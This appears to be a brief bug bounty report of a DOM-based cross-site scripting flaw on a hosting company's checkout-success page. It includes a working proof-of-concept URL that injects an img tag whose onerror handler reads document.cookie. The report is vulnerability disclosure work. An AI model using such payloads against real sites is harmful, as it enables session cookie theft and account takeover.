DOM Based XSS in Checkout

How it was found

Hey,

This works in all browsers I suppose and regardless if the user is currently authenticated or not. Simply go over to : [https://www.leaseweb.com/checkout-success/16893#"><img src=x onerror=alert(document.cookie)>](https://www.leaseweb.com/checkout-success/16893#"><img src=x onerror=alert(document.cookie)>).

Attached herewith is the screenshot.

Thanks!